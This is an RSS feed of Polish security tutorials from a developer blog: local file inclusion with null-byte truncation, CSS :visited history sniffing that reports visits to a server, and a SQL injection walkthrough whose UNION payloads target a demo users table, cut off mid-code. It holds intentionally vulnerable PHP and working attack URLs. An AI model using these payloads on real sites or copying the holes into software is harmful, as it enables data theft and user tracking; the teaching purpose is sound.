<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michał Środek &#187; Bezpieczeństwo</title>
	<atom:link href="http://srodek.info/category/bezpieczenstwo/feed" rel="self" type="application/rss+xml" />
	<link>http://srodek.info</link>
	<description>Po prostu devBlog</description>
	<lastBuildDate>Thu, 02 Sep 2010 08:24:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Czym jest LFI?</title>
		<link>http://srodek.info/blog/177/czym-jest-lfi</link>
		<comments>http://srodek.info/blog/177/czym-jest-lfi#comments</comments>
		<pubDate>Sat, 20 Feb 2010 16:53:24 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=177</guid>
		<description><![CDATA[Zająłem się ostatnio w analizą konfiguracji PHP oraz sprawdzaniem w jakich okolicznościach jest możliwe dołączenie lub podglądanie plików php znajdujących się na serwerze. W kilku artykułach postaram się wyjaścić większość znanych mi technik. Rozpocznę od dosyć prostych i oczywistych, a w kolejnych częściach będę podnosił poprzeczkę usprawniając konfigurację serwera. Dzisiaj zaprezentuję na czym polega atak [...]]]></description>
			<content:encoded><![CDATA[<p>Zająłem się ostatnio w analizą konfiguracji PHP oraz sprawdzaniem w jakich okolicznościach jest możliwe dołączenie lub podglądanie plików php znajdujących się na serwerze. W kilku artykułach postaram się wyjaścić większość znanych mi technik. Rozpocznę od dosyć prostych i oczywistych, a w kolejnych częściach będę podnosił poprzeczkę usprawniając konfigurację serwera. Dzisiaj zaprezentuję na czym polega atak LFI(Local File Inclusion) polegający na uruchamianiu pliku dostępnego na serwerze.<br />
<span id="more-177"></span></p>
<p>Na atak są podatne strony wykorzystujące takie funkcje jak np. file(), file_get_contents(), include(), include_once(), require() i inne czytające dane z jakiegoś pliku. Ważne aby w paramtr określający adres czytanych zasobów był zależny od jakiejść zmiennej przesłanej przez użytkownika. Przykładowy(bardzo popularny) kod:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'strony/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.html'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Atak działa podobnie jak SQL Injection. Musimy tak spreparować adres aby odnosił się on do innego pliku. Spróbujmy wpisać:</p>
<pre class="urlbar">example.com?page=../index</pre>
<p>Skrypt powinien wczytać plik <em>strony/../index.html</em> czyli po prostu <em>index.html</em>. Problem stanowi rozszerzenie określone z góry przez programistę. Gdybyśmy się go pozbyli, możliwe byłoby dołączenie dowolnego pliku, do którego posiadamy uprawnienia. Zastanówmy się jednak w jaki sposób działają powyższe funkcje. Wiemy, że PHP jest pisany w C. Jako parametr podajemy ciąg znaków. Każdy programujący w C wie, że stringi w tym języku to po prostu tablice znaków wyglądające następująco:</p>
<pre class="console">Jakis ciag znakow\0</pre>
<p>Znakiem który określa zakończenie napisu jest znak zero. Jest to spowodowane tym, że tablica może mieć większy rozmiar niż długość napisu. Jezyk C jest tak napisany, że sam nie zeruje wartośći w pamięci na które wskazujemy więc brak znaku zero powodowałoby wyświetlanie „śmieci“ z pamięci. Tak więc dobrym pomysłem byłoby wszczepienie znaku \0 do naszego zapytania. Spróbujmy wpisać w adresie strony coś takiego:</p>
<pre class="urlbar">example.com?page=../index.php%00</pre>
<p>Jak zinterpretuje to PHP? Do funkcji include() zostanie przekazany ciąg znaków <em>strony/../index.php\0.html</em>. Funkcja include otrzymując w parametrze tablicę znaków wybierze wszystkie aż do znaku \0. W ten sposób końcówka .html zostanie uznana za śmieci z pamięci. Jak się chronić przed tym atakiem? Wystarczy prosty test poprawności przesyłanych danych:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^[a-zA-Z0-9]*$/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
  <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'strony/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.html'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Ograniczenia? Niestety możemy uruchomić jedynie pliki znajdujące się na serwerze. Jest jednak kilka sposobów aby sobie z tym problemem poradzić. Następnym razem przedstawię jak uruchomić własny kod PHP w przypadku dziury przedstawionej w tym artykule oraz błędnej konfiguracji serwera.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/177/czym-jest-lfi/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Podgląd historii</title>
		<link>http://srodek.info/blog/166/podglad-historii</link>
		<comments>http://srodek.info/blog/166/podglad-historii#comments</comments>
		<pubDate>Wed, 17 Feb 2010 22:43:14 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=166</guid>
		<description><![CDATA[Różne przeglądarki w różny sposób zarządzają historią. Firefox domyślnie przechowuje ją przez 90 dni, Opera i IE około 20–30 a Chrome w nieskończoność. Czy twoja historia przeglądarki jest bezpieczna? Niestety nie do końca. Czy może ją podglądać twórca strony, na którą wchodzisz? W pewnym sensie tak. Dzisiaj przedstawię sposób w jaki sposób sprawdzić czy użytkownik [...]]]></description>
			<content:encoded><![CDATA[<p>Różne przeglądarki w różny sposób zarządzają historią. Firefox domyślnie przechowuje ją przez 90 dni, Opera i IE około 20–30 a Chrome w nieskończoność. Czy twoja historia przeglądarki jest bezpieczna? Niestety nie do końca. Czy może ją podglądać twórca strony, na którą wchodzisz? W pewnym sensie tak. Dzisiaj przedstawię sposób w jaki sposób sprawdzić czy użytkownik odwiedzał jakąś stronę.</p>
<p><span id="more-166"></span></p>
<h3>Sposób działania</h3>
<p>Nie da się(a przynajmniej nie w takiej postaci jaką dzisiaj pokażę) przeglądać całej historii. Jest jednak sposób aby wyciągnąć informację o tym czy użytkownik odwiedził konkretny adres www. Wszystko dlatego, że CSS posiada pseudoklasę :visited dzięki której można określij inne ostylowanie dla linków odwiedzonych. Przy użyciu JavaScript w łatwy sposób można sprawdzić, które linki mają inny styl i wysłać o nich informację na serwer.</p>
<h3>Implementacja</h3>
<p>Są dwie techniki, dzięki którym możemy wysłać informację na serwer. Pierwsza(moim zdaniem gorsza) w dużym skrócie wygląda tak:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;a href=&quot;http://google.pl&quot; class=&quot;google&quot;&gt;Google!&lt;/a&gt;</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">a<span style="color: #6666ff;">.google</span><span style="color: #3333ff;">:visited</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">'http://example.com?sitevisited=google'</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Jeśli link jest odwiedzony zostanie wysłane zapytanie o tło do serwera example.com. Serwer wcale nie musi zwracać obrazka. Wystarczy, że doda użytkownika do swojej bazy danych.</p>
<p>Druga — znacznie ciekawsza — wykorzystuje JS, również działa w tle i także jest praktycznie nie widoczna dla użytkownika(trzeba zajrzeć do kodu). Co więcej nie musimy określać oddzielnych klas CSS dla każdego adresu. Przejdzmy do kodowania. Przede wszystkim potrzebujemy kontener na linki oraz styl dla odnośników odwiedzonych.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">  <span style="color: #cc00cc;">#tempLinkContainer</span> a<span style="color: #3333ff;">:visited</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Używam <em>display</em> a nie np. <em>color</em> ponieważ poszczególne przeglądarki różnie interpretują kolory — Opera przechowuje je w postaci heksadecymalnej #RRBBGG, a Firefox w systemie dzisiętnym rgb(R,G,B). <em>Display</em> jest jednolity więc nie będzie z nim problemów. Czas na rdzeń skryptu JavaScript.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> checkLink<span style="color: #009900;">&#40;</span>url<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #003366; font-weight: bold;">var</span> myLink <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  myLink.<span style="color: #660066;">href</span><span style="color: #339933;">=</span> url<span style="color: #339933;">;</span>
  <span style="color: #003366; font-weight: bold;">var</span> container <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'tempLinkContainer'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  container.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>myLink<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>myLink.<span style="color: #660066;">currentStyle</span><span style="color: #009900;">&#41;</span>
    <span style="color: #003366; font-weight: bold;">var</span> visited <span style="color: #339933;">=</span> myLink.<span style="color: #660066;">currentStyle</span>.<span style="color: #660066;">display</span><span style="color: #339933;">==</span><span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">else</span>
    <span style="color: #003366; font-weight: bold;">var</span> visited <span style="color: #339933;">=</span> document.<span style="color: #660066;">defaultView</span>.<span style="color: #660066;">getComputedStyle</span><span style="color: #009900;">&#40;</span>myLink<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">display</span><span style="color: #339933;">==</span><span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span>
  container.<span style="color: #660066;">removeChild</span><span style="color: #009900;">&#40;</span>myLink<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">return</span> visited<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Funkcja jako parametr przyjmuje adres url strony którą chcemy sprawdzić. Najpierw tworzony jest element <em>a</em> i uzupełniany jest jego parametr <em>href</em>. Następnie ten element jest umieszczany w naszym elemencie div. W ten sposób link otrzymuje odpowiednie ostylowanie jeśli jest odwiedzony. Jedyne co nam pozostaje to sprawdzenie parametru <em>display</em>. W tym celu należy pobrać styl obliczany naszego linku. Niestety IE(wraz z Operą) obsługują to troszke inaczej niż Firefox, Safari i inne przeglądarki — stąd ta instrukcja warunkowa. Wynik jest zapisywany do zmiennej <em>visited</em>, link niszczony i wartość na końcu zwracana. Efekt można zobaczyć <a href="/examples/checkHistory">tutaj</a>. Zauważ, że linki odwiedzone otrzymują klasę visited(ustawienie koloru na zielony). Żadna pseudoklasa <em>:visited</em>, nie definiuje zielonego koloru — jest to zasługa JavaScript.</p>
<p>Oczywiście ta technika nie jest idealna — rozróżnia np. linki typu:</p>
<ul>
<li>http://httpd.apache.org/docs/2.0/mod/core.html#errorlog</li>
<li>http://httpd.apache.org/docs/2.0/mod/core.html</li>
<li>http://httpd.apache.org</li>
</ul>
<p>Jednak łatwo domyśleć się, że większość użytkowników odwiedzających np. Facebook.com najpierw uruchamia jego stronę główną. Technikę tą można użyć nie tylko do szpiegowania użytkowników. Można dzięki niej uatrakcyjnić stronę internetową serwując różne rzeczy w zależności od historii np. można umieścić informację na temat profilu na Facebook.com zamiast na nasza-klasa.pl jeśli użytkownik nie odwiedza naszej-klasy a odzwiedza facebooka.</p>
<p>W weekend planuję przysiąść do poprawek mojego blogu więc prawdopodobnie spróbuję dodać kilka ciekawych opcji.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/166/podglad-historii/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Kilka słów o SQL Injection</title>
		<link>http://srodek.info/blog/155/kilka-slow-o-sql-injection</link>
		<comments>http://srodek.info/blog/155/kilka-slow-o-sql-injection#comments</comments>
		<pubDate>Sat, 13 Feb 2010 21:33:38 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=155</guid>
		<description><![CDATA[Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i hasła użytkowników ze słabo zabezpieczonej witryny.<br />
<span id="more-155"></span></p>
<p>Stwórzmy przykładową bazę danych „hack“ aby pokazać jak to wygląda od drugiej strony.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> articles<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
title varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
content text <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
author int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
category int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> users<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
login varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
email varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
password varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>Wypełnijmy je danymi:</p>
<pre class="console">
mysql> select * from articles;
+----+--------------+----------+--------+----------+
| id | title        | content  | author | category |
+----+--------------+----------+--------+----------+
|  1 | Artykul nr 1 | tresc... |      1 |        2 |
|  2 | Artykul nr 2 | tresc... |      3 |        1 |
|  3 | Artykul nr 3 | tresc... |      2 |        1 |
|  4 | Artykul nr 4 | tresc... |      3 |        2 |
+----+--------------+----------+--------+----------+
mysql> select * from users;
+----+--------+--------------------+----------------------------------+
| id | login  | email              | password                         |
+----+--------+--------------------+----------------------------------+
|  1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba |
|  2 | Magda  | romek@example.com  | 9d0250b24620c2056516e5d2d79eed4a |
|  3 | Romek  | romek@example.com  | 944278ab01f435bfc369fa038130f25b |
+----+--------+--------------------+----------------------------------+
</pre>
<p>Czas na kod PHP odpowiedzialny za pobieranie artykułów. Pomijam filtrowanie zmiennych przychodzących. Wygląda to mniej więcej tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$mysqli</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> mysqli<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'hack'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">else</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h2&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/h2&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;strong&gt;Author: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'author'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/strong&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;p&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'content'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/p&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Wystarczy mała nieuwaga aby skrypt był dziurawy jak ser szwajcarski. Co więcej, dziurę taką da się bardzo łatwo wykryć — wystarczy apostrof lub cudzysłów.</p>
<pre class="console">http://localhost/hack/sql/?id=1'</pre>
<p>Naszym oczom ukaże się błąd:</p>
<pre class="console">Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27 </pre>
<p>Jest to informacja, że użytkownik może wpływać na treść zapytania SQL. Dlaczego tak się dzieje? PHP bezmyslnie umieszcza zmienną $_GET[’id’] do zapytania SQL które teraz wygląda tak:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span><span style="color: #ff0000;">'</span></pre></div></div>

<p>Jest to niepoprawne zapytanie więc php zwraca błąd metody fetch_array(). Tym samym jest to informacja, że haker może spreparować własne zapytania, które zwrócą mu loginy i hasła. Oczywiście w sytuacji gdy nie zna on struktury bazy danych jest to troszkę utrudnione lecz wciąż możliwe. Aby uświadomić o jakie aspekty należy zadbać warto dowiedzieć się jak to robi przeciętny włamywacz.</p>
<h3>Od strony hakera</h3>
<p>Pierwszym krokiem jest sprawdzenie czy rzeczywiście możemy wpływać na zapytanie. Najlepiej jest dopisać nic nie znaczące „OR 1=1″</p>
<pre class="console">http://localhost/hack/sql/?id=1 OR 1=1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">OR</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span></pre></div></div>

<p>Naszym oczom powinna ukazać się pełna lista artykułów zamiast tylko jednego lub jeśli na stronie moduł pobiera tylko pierwszy rekord otrzymamy inny niż jest sprecyzowany w zmiennej id(oczywiście należy wziąć pod uwagę sortowanie). Kolejnym krokiem jest wprowadzenie własnego zapytania. Najczęściej używa się UNION ponieważ jest to najprostsza technika. UNION połączy 2 zapytania tylko wtedy gdy będą one posiadać taką samą ilość kolumn. Warto więc najpierw to sprawdzić metodą prób i błędów pobierając kolejno 2 NULL-e, 3 NULL-e itd. W naszym przykładzie wystarczy sześć.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Sprawdzmy, które pola odpowiadają poszczególnym rzeczom wyświetlanym na stronie.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Zauważ, że nie podaję jeszcze nazwy tabeli aby nie komplikować sobie całej operacji. W przypadku otwartych rozwiązań sprawa jest prosta ponieważ wystarczy zajrzeć w kod i odczytać nazwy tabel. Czasami skrypty wyświetlają komunikat o błędzie SQL, który zawiera zapytanie(sic!). Ewentualnym problemem mogą być prefiksy w nazwach. Metodą prób i błędów można jednak odkryć, że tabele z naszego przykładu to „articles“ oraz „users“</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: 